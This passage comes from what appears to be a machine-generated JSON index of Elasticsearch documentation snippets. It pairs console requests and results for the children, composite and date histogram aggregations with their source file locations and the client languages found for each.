\"log-messages\",\n \"_id\" : \"1\",\n \"_score\" : null,\n \"_source\" : {\n \"message\" : \"2016-02-07T00:00:00+0000 Node 3 shutting down\"\n },\n \"sort\" : [\n 1454803260000\n ]\n }\n ]\n }\n }\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"Node starting up\",\n \"regex\" : \".*?Node.+?starting.+?up.*?\",\n \"max_matching_length\" : 47,\n \"hit\" : {\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [\n {\n \"_index\" : \"log-messages\",\n \"_id\" : \"2\",\n \"_score\" : null,\n \"_source\" : {\n \"message\" : \"2016-02-07T00:00:00+0000 Node 5 starting up\"\n },\n \"sort\" : [\n 1454803320000\n ]\n }\n ]\n }\n }\n }\n ]\n }\n },\n {\n \"key_as_string\" : \"2016-02-08T00:00:00.000Z\",\n \"key\" : 1454889600000,\n \"doc_count\" : 3,\n \"categories\" : {\n \"buckets\" : [\n {\n \"doc_count\" : 1,\n \"key\" : \"Node shutting down\",\n \"regex\" : \".*?Node.+?shutting.+?down.*?\",\n \"max_matching_length\" : 49,\n \"hit\" : {\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [\n {\n \"_index\" : \"log-messages\",\n \"_id\" : \"4\",\n \"_score\" : null,\n \"_source\" : {\n \"message\" : \"2016-02-08T00:00:00+0000 Node 5 shutting down\"\n },\n \"sort\" : [\n 1454889660000\n ]\n }\n ]\n }\n }\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"User logged off\",\n \"regex\" : \".*?User.+?logged.+?off.*?\",\n \"max_matching_length\" : 52,\n \"hit\" : {\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [\n {\n \"_index\" : \"log-messages\",\n \"_id\" : \"6\",\n \"_score\" : null,\n \"_source\" : {\n \"message\" : \"2016-02-08T00:00:00+0000 User foo_864 logged off\"\n },\n \"sort\" : [\n 1454889840000\n ]\n }\n ]\n }\n }\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"User logging on\",\n \"regex\" : \".*?User.+?logging.+?on.*?\",\n \"max_matching_length\" : 52,\n \"hit\" : {\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [\n {\n \"_index\" : \"log-messages\",\n \"_id\" : \"5\",\n \"_score\" : null,\n \"_source\" : {\n \"message\" : \"2016-02-08T00:00:00+0000 User foo_325 logging on\"\n },\n \"sort\" : [\n 1454889720000\n ]\n }\n ]\n }\n }\n }\n ]\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/children-aggregation.asciidoc","line":16},"digest":"9399cbbd133ec2b7aad2820fa617ae3a","lang":"console","found":["ruby"],"source":"PUT child_example\n{\n \"mappings\": {\n \"properties\": {\n \"join\": {\n \"type\": \"join\",\n \"relations\": {\n \"question\": \"answer\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/children-aggregation.asciidoc","line":39},"digest":"dfdf82b8d99436582f150117695190b3","lang":"console","found":["ruby"],"source":"PUT child_example/_doc/1\n{\n \"join\": {\n \"name\": \"question\"\n },\n \"body\": \"

I have Windows 2003 server and i bought a new Windows 2008 server...\",\n \"title\": \"Whats the best way to file transfer my site from server to a newer one?\",\n \"tags\": [\n \"windows-server-2003\",\n \"windows-server-2008\",\n \"file-transfer\"\n ]\n}"}, {"source_location":{"file":"aggregations/bucket/children-aggregation.asciidoc","line":59},"digest":"e9fe3b53b5b6e1ff9566b5237c0fa513","lang":"console","found":["ruby"],"source":"PUT child_example/_doc/2?routing=1\n{\n \"join\": {\n \"name\": \"answer\",\n \"parent\": \"1\"\n },\n \"owner\": {\n \"location\": \"Norfolk, United Kingdom\",\n \"display_name\": \"Sam\",\n \"id\": 48\n },\n \"body\": \"

Unfortunately you're pretty much limited to FTP...\",\n \"creation_date\": \"2009-05-04T13:45:37.030\"\n}\n\nPUT child_example/_doc/3?routing=1&refresh\n{\n \"join\": {\n \"name\": \"answer\",\n \"parent\": \"1\"\n },\n \"owner\": {\n \"location\": \"Norfolk, United Kingdom\",\n \"display_name\": \"Troll\",\n \"id\": 49\n },\n \"body\": \"

Use Linux...\",\n \"creation_date\": \"2009-05-05T13:45:37.030\"\n}"}, {"source_location":{"file":"aggregations/bucket/children-aggregation.asciidoc","line":95},"digest":"d5132d34ae922fa8e898889b627a1405","lang":"console","found":["ruby"],"source":"POST child_example/_search?size=0\n{\n \"aggs\": {\n \"top-tags\": {\n \"terms\": {\n \"field\": \"tags.keyword\",\n \"size\": 10\n },\n \"aggs\": {\n \"to-answers\": {\n \"children\": {\n \"type\" : \"answer\" <1>\n },\n \"aggs\": {\n \"top-names\": {\n \"terms\": {\n \"field\": \"owner.display_name.keyword\",\n \"size\": 10\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/children-aggregation.asciidoc","line":132},"digest":"31a7e249ea2a328e8eccc76800219af0","lang":"console-result","found":[],"source":"{\n \"took\": 25,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 3,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": []\n },\n \"aggregations\": {\n \"top-tags\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"file-transfer\",\n \"doc_count\": 1, <1>\n \"to-answers\": {\n \"doc_count\": 2, <2>\n \"top-names\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"Sam\",\n \"doc_count\": 1\n },\n {\n \"key\": \"Troll\",\n \"doc_count\": 1\n }\n ]\n }\n }\n },\n {\n \"key\": \"windows-server-2003\",\n \"doc_count\": 1, <1>\n \"to-answers\": {\n \"doc_count\": 2, <2>\n \"top-names\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"Sam\",\n \"doc_count\": 1\n },\n {\n \"key\": \"Troll\",\n \"doc_count\": 1\n }\n ]\n }\n }\n },\n {\n \"key\": \"windows-server-2008\",\n \"doc_count\": 1, <1>\n \"to-answers\": {\n \"doc_count\": 2, <2>\n \"top-names\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"Sam\",\n \"doc_count\": 1\n },\n {\n \"key\": \"Troll\",\n \"doc_count\": 1\n }\n ]\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":131},"digest":"0a9173f3b22716c78653976dc4799eae","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"product\": { \"terms\": { \"field\": \"product\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":151},"digest":"88ec7fa6768a7e13cd2158667a69e97f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"runtime_mappings\": {\n \"day_of_week\": {\n \"type\": \"keyword\",\n \"script\": \"\"\"\n emit(doc['timestamp'].value.dayOfWeekEnum\n .getDisplayName(TextStyle.FULL, Locale.ROOT))\n \"\"\"\n }\n },\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n {\n \"dow\": {\n \"terms\": { \"field\": \"day_of_week\" }\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":226},"digest":"b7bb5503e64bd869b2ac1c46c434a079","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"histo\": { \"histogram\": { \"field\": \"price\", \"interval\": 5 } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":246},"digest":"a0d53dcb3df938fc0a01d248571a41e4","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"runtime_mappings\": {\n \"price.discounted\": {\n \"type\": \"double\",\n \"script\": \"\"\"\n double price = doc['price'].value;\n if (doc['product'].value == 'mad max') {\n price *= 0.8;\n }\n emit(price);\n \"\"\"\n }\n },\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n {\n \"price\": {\n \"histogram\": {\n \"interval\": 5,\n \"field\": \"price.discounted\"\n }\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":315},"digest":"132ea3d5a0ffb6b5203e356e8329f679","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":345},"digest":"afd90d268187f995dc002abc189f818d","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n {\n \"date\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"calendar_interval\": \"1d\",\n \"format\": \"yyyy-MM-dd\" <1>\n }\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":386},"digest":"ab3c36b70459093beafbfd3a7ae75b9b","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"date\": \"2015-10-01T05:30:00Z\"\n}\n\nPUT my-index-000001/_doc/2?refresh\n{\n \"date\": \"2015-10-01T06:30:00Z\"\n}\n\nGET my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"my_buckets\": {\n \"composite\" : {\n \"sources\" : [\n {\n \"date\": {\n \"date_histogram\" : {\n \"field\": \"date\",\n \"calendar_interval\": \"day\",\n \"offset\": \"+6h\",\n \"format\": \"iso8601\"\n }\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":423},"digest":"6577459aef49b998e80e45ec34277965","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"my_buckets\": {\n \"after_key\": { \"date\": \"2015-10-01T06:00:00.000Z\" },\n \"buckets\": [\n {\n \"key\": { \"date\": \"2015-09-30T06:00:00.000Z\" },\n \"doc_count\": 1\n },\n {\n \"key\": { \"date\": \"2015-10-01T06:00:00.000Z\" },\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":458},"digest":"e16a353e619b935c5c70769b1b9fa100","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"tile\": { \"geotile_grid\": { \"field\": \"location\", \"precision\": 8 } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":491},"digest":"c2d7c36daac8608d2515c549b2c82436","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n {\n \"tile\": {\n \"geotile_grid\": {\n \"field\": \"location\",\n \"precision\": 22,\n \"bounds\": {\n \"top_left\": \"POINT (4.9 52.4)\",\n \"bottom_right\": \"POINT (5.0 52.3)\"\n }\n }\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":525},"digest":"2643b8c512cb3f3449259cdf498c6ab5","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\" } } },\n { \"product\": { \"terms\": { \"field\": \"product\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":548},"digest":"569f10fee671632017c722fd983009d4","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"shop\": { \"terms\": { \"field\": \"shop\" } } },\n { \"product\": { \"terms\": { \"field\": \"product\" } } },\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":579},"digest":"7e20b6e15e409b02a5e452ceddf1e1e0","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\", \"order\": \"desc\" } } },\n { \"product\": { \"terms\": { \"field\": \"product\", \"order\": \"asc\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":607},"digest":"852b394d78b8c79ee0055b5501981a4b","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [{\n \"product_name\": {\n \"terms\": {\n \"field\": \"product\",\n \"missing_bucket\": true,\n \"missing_order\": \"last\"\n }\n }\n }]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":658},"digest":"7d1cbcb545aa19260073dbb2b7ef5074","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"size\": 2,\n \"sources\": [\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\" } } },\n { \"product\": { \"terms\": { \"field\": \"product\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":680},"digest":"b5b0ebf4f65f59b05f9b868f7e28c9f3","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"my_buckets\": {\n \"after_key\": {\n \"date\": 1494288000000,\n \"product\": \"mad max\"\n },\n \"buckets\": [\n {\n \"key\": {\n \"date\": 1494201600000,\n \"product\": \"rocky\"\n },\n \"doc_count\": 1\n },\n {\n \"key\": {\n \"date\": 1494288000000,\n \"product\": \"mad max\"\n },\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":716},"digest":"d880630b6f7dc634c4078293f9cd3d80","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"size\": 2,\n \"sources\": [\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\", \"order\": \"desc\" } } },\n { \"product\": { \"terms\": { \"field\": \"product\", \"order\": \"asc\" } } }\n ],\n \"after\": { \"date\": 1494288000000, \"product\": \"mad max\" } <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":748},"digest":"5e2f7097eb299de553d0fa0087d70a59","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"index\": {\n \"sort.field\": [ \"username\", \"timestamp\" ], <1>\n \"sort.order\": [ \"asc\", \"desc\" ] <2>\n }\n },\n \"mappings\": {\n \"properties\": {\n \"username\": {\n \"type\": \"keyword\",\n \"doc_values\": true\n },\n \"timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":777},"digest":"7659f2f2b0fbe8584b855a01638b95ed","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"user_name\": { \"terms\": { \"field\": \"user_name\" } } } <1>\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":796},"digest":"2abfe0d3f5593d23d2dfa608b1e2532a","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"user_name\": { \"terms\": { \"field\": \"user_name\" } } }, <1>\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\", \"order\": \"desc\" } } } <2>\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":821},"digest":"4bb7bcfebca682fb9c9e3e47bfd5ef6f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"track_total_hits\": false,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"user_name\": { \"terms\": { \"field\": \"user_name\" } } },\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\", \"order\": \"desc\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":860},"digest":"402092585940953420404c2884a47e59","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_buckets\": {\n \"composite\": {\n \"sources\": [\n { \"date\": { \"date_histogram\": { \"field\": \"timestamp\", \"calendar_interval\": \"1d\", \"order\": \"desc\" } } },\n { \"product\": { \"terms\": { \"field\": \"product\" } } }\n ]\n },\n \"aggregations\": {\n \"the_avg\": {\n \"avg\": { \"field\": \"price\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/composite-aggregation.asciidoc","line":886},"digest":"3c21391b29c8fc931fa3eb25360a2e4c","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"my_buckets\": {\n \"after_key\": {\n \"date\": 1494201600000,\n \"product\": \"rocky\"\n },\n \"buckets\": [\n {\n \"key\": {\n \"date\": 1494460800000,\n \"product\": \"apocalypse now\"\n },\n \"doc_count\": 1,\n \"the_avg\": {\n \"value\": 10.0\n }\n },\n {\n \"key\": {\n \"date\": 1494374400000,\n \"product\": \"mad max\"\n },\n \"doc_count\": 1,\n \"the_avg\": {\n \"value\": 27.0\n }\n },\n {\n \"key\": {\n \"date\": 1494288000000,\n \"product\": \"mad max\"\n },\n \"doc_count\": 2,\n \"the_avg\": {\n \"value\": 22.5\n }\n },\n {\n \"key\": {\n \"date\": 1494201600000,\n \"product\": \"rocky\"\n },\n \"doc_count\": 1,\n \"the_avg\": {\n \"value\": 10.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":103},"digest":"af44cc7fb0c435d4497c77baf904bf5e","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":122},"digest":"f5815d573cee0447910c9668003887b8","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"2d\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":198},"digest":"095d60b2cfc5004c97efc49f27287262","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"fixed_interval\": \"30d\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":216},"digest":"f43d551aaaad73d979adf1b86533e6a3","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"fixed_interval\": \"2w\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":288},"digest":"9bfdda207b701028a3439e495e800c02","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\",\n \"format\": \"yyyy-MM-dd\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":309},"digest":"d0d2ea04227608e0392fa51721f2d479","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"sales_over_time\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015-01-01\",\n \"key\": 1420070400000,\n \"doc_count\": 3\n },\n {\n \"key_as_string\": \"2015-02-01\",\n \"key\": 1422748800000,\n \"doc_count\": 2\n },\n {\n \"key_as_string\": \"2015-03-01\",\n \"key\": 1425168000000,\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":367},"digest":"9a02bd47c000a3d9a8911233c37c890f","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"date\": \"2015-10-01T00:30:00Z\"\n}\n\nPUT my-index-000001/_doc/2?refresh\n{\n \"date\": \"2015-10-01T01:30:00Z\"\n}\n\nGET my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"by_day\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"day\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":396},"digest":"c58f9b02f68576dc466750382a93a10e","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"by_day\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015-10-01T00:00:00.000Z\",\n \"key\": 1443657600000,\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":418},"digest":"e6b972611c0ec8ab4c240f33f323d85b","lang":"console","found":["python","ruby","go"],"source":"GET my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"by_day\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"day\",\n \"time_zone\": \"-01:00\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":438},"digest":"7505fd151b95c187a78278008393156b","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"by_day\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015-09-30T00:00:00.000-01:00\", <1>\n \"key\": 1443574800000,\n \"doc_count\": 1\n },\n {\n \"key_as_string\": \"2015-10-01T00:00:00.000-01:00\", <1>\n \"key\": 1443661200000,\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":489},"digest":"51b40610ae05730b4c6afd25647d7ae0","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"date\": \"2015-10-01T05:30:00Z\"\n}\n\nPUT my-index-000001/_doc/2?refresh\n{\n \"date\": \"2015-10-01T06:30:00Z\"\n}\n\nGET my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"by_day\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"day\",\n \"offset\": \"+6h\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":520},"digest":"c53ad8df37e9f98b893b66fd3abbc6e7","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"by_day\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015-09-30T06:00:00.000Z\",\n \"key\": 1443592800000,\n \"doc_count\": 1\n },\n {\n \"key_as_string\": \"2015-10-01T06:00:00.000Z\",\n \"key\": 1443679200000,\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":569},"digest":"5203560189ccab7122c03500147701ef","lang":"console","found":["python"],"source":"\"buckets\": [\n { \"key_as_string\": \"2022-01-20\", \"key\": 1642636800000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-02-20\", \"key\": 1645315200000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-03-20\", \"key\": 1647734400000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-04-20\", \"key\": 1650412800000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-05-20\", \"key\": 1653004800000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-06-20\", \"key\": 1655683200000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-07-20\", \"key\": 1658275200000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-08-20\", \"key\": 1660953600000, \"doc_count\": 1 }\n]"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":589},"digest":"a84ffbaa4ffa68b22f6fe42d3b4f8dd5","lang":"console","found":["python"],"source":"\"buckets\": [\n { \"key_as_string\": \"2021-12-29\", \"key\": 1640736000000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-01-29\", \"key\": 1643414400000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-03-01\", \"key\": 1646092800000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-03-29\", \"key\": 1648512000000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-04-29\", \"key\": 1651190400000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-05-29\", \"key\": 1653782400000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-06-29\", \"key\": 1656460800000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-07-29\", \"key\": 1659052800000, \"doc_count\": 1 }\n]"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":611},"digest":"ba59a3b9a0a2694704b2bf9c6ad4a8cf","lang":"console","found":["python"],"source":"\"buckets\": [\n { \"key_as_string\": \"2022-01-20\", \"key\": 1642636800000, \"doc_count\": 1 },\n { \"key_as_string\": \"2022-02-20\", \"key\": 1645315200000, \"doc_count\": 2 },\n { \"key_as_string\": \"2022-04-20\", \"key\": 1650412800000, \"doc_count\": 2 },\n { \"key_as_string\": \"2022-06-20\", \"key\": 1655683200000, \"doc_count\": 2 },\n { \"key_as_string\": \"2022-08-20\", \"key\": 1660953600000, \"doc_count\": 1 }\n]"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":643},"digest":"ecc57597f6b791d1151ad79d9f4ce67b","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\",\n \"format\": \"yyyy-MM-dd\",\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":663},"digest":"63545a21eee0283a62022b279d49084b","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"sales_over_time\": {\n \"buckets\": {\n \"2015-01-01\": {\n \"key_as_string\": \"2015-01-01\",\n \"key\": 1420070400000,\n \"doc_count\": 3\n },\n \"2015-02-01\": {\n \"key_as_string\": \"2015-02-01\",\n \"key\": 1422748800000,\n \"doc_count\": 2\n },\n \"2015-03-01\": {\n \"key_as_string\": \"2015-03-01\",\n \"key\": 1425168000000,\n \"doc_count\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":699},"digest":"ef779b87b3b0fb6e6bae9c8875e3a1cf","lang":"console","found":["python","ruby"],"source":"POST /sales/_search?size=0\n{\n \"runtime_mappings\": {\n \"date.promoted_is_tomorrow\": {\n \"type\": \"date\",\n \"script\": \"\"\"\n long date = doc['date'].value.toInstant().toEpochMilli();\n if (doc['promoted'].value) {\n date += 86400;\n }\n emit(date);\n \"\"\"\n }\n },\n \"aggs\": {\n \"sales_over_time\": {\n \"date_histogram\": {\n \"field\": \"date.promoted_is_tomorrow\",\n \"calendar_interval\": \"1M\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":782},"digest":"316cd43feb3b86396483903af1a048b1","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sale_date\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"year\",\n \"missing\": \"2000/01/01\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":816},"digest":"da3cecc36a7313385d32c7f52ccfb7e3","lang":"console","found":["python","ruby"],"source":"POST /sales/_search?size=0\n{\n \"runtime_mappings\": {\n \"date.day_of_week\": {\n 